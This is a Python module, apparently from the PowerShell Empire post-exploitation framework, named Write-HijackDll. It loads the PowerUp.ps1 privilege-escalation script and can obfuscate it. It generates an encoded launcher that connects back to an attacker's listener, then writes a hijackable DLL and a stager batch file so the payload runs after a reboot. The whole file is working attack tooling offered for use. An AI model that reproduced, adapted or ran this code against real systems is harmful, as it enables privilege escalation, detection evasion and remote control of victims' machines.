128 lines
4.7 KiB
Python
128 lines
4.7 KiB
Python
from lib.common import helpers
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class Module:
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def __init__(self, mainMenu, params=[]):
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self.info = {
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'Name': 'Write-HijackDll',
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'Author': ['leechristensen (@tifkin_)', '@harmj0y'],
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'Description': ("Writes out a hijackable .dll to the specified path "
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"along with a stager.bat that's called by the .dll. "
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"wlbsctrl.dll works well for Windows 7. "
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"The machine will need to be restarted for the privesc to work."),
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'Background' : True,
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'OutputExtension' : None,
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'NeedsAdmin' : False,
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'OpsecSafe' : False,
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'Language' : 'powershell',
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'MinLanguageVersion' : '2',
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'Comments': [
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'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp'
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]
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}
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# any options needed by the module, settable during runtime
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self.options = {
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# format:
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# value_name : {description, required, default_value}
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'Agent' : {
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'Description' : 'Agent to run module on.',
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'Required' : True,
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'Value' : ''
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},
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'DllPath' : {
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'Description' : "The output path for the hijackable .dll.",
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'Required' : True,
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'Value' : ''
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},
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'Listener' : {
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'Description' : 'Listener to use.',
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'Required' : True,
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'Value' : ''
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},
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'UserAgent' : {
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'Description' : 'User-agent string to use for the staging request (default, none, or other).',
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'Required' : False,
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'Value' : 'default'
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},
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'Proxy' : {
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'Description' : 'Proxy to use for request (default, none, or other).',
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'Required' : False,
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'Value' : 'default'
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},
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'ProxyCreds' : {
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'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
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'Required' : False,
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'Value' : 'default'
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}
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}
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# save off a copy of the mainMenu object to access external functionality
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# like listeners/agent handlers/etc.
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self.mainMenu = mainMenu
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for param in params:
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# parameter format is [Name, Value]
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option, value = param
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if option in self.options:
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self.options[option]['Value'] = value
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def generate(self, obfuscate=False, obfuscationCommand=""):
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moduleName = self.info["Name"]
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# read in the common powerup.ps1 module source code
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moduleSource = self.mainMenu.installPath + "/data/module_source/privesc/PowerUp.ps1"
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if obfuscate:
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helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand)
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moduleSource = moduleSource.replace("module_source", "obfuscated_module_source")
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try:
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f = open(moduleSource, 'r')
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except:
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print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
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return ""
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moduleCode = f.read()
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f.close()
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# # get just the code needed for the specified function
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# script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName)
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script = moduleCode
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scriptEnd = ';' + moduleName + " "
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# extract all of our options
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listenerName = self.options['Listener']['Value']
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userAgent = self.options['UserAgent']['Value']
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proxy = self.options['Proxy']['Value']
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proxyCreds = self.options['ProxyCreds']['Value']
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# generate the launcher code
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launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds)
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if launcher == "":
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print helpers.color("[!] Error in launcher command generation.")
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return ""
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else:
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outFile = self.options['DllPath']['Value']
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scriptEnd += " -Command \"%s\"" % (launcher)
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scriptEnd += " -DllPath %s" % (outFile)
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scriptEnd += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
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if obfuscate:
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scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
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script += scriptEnd
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return script
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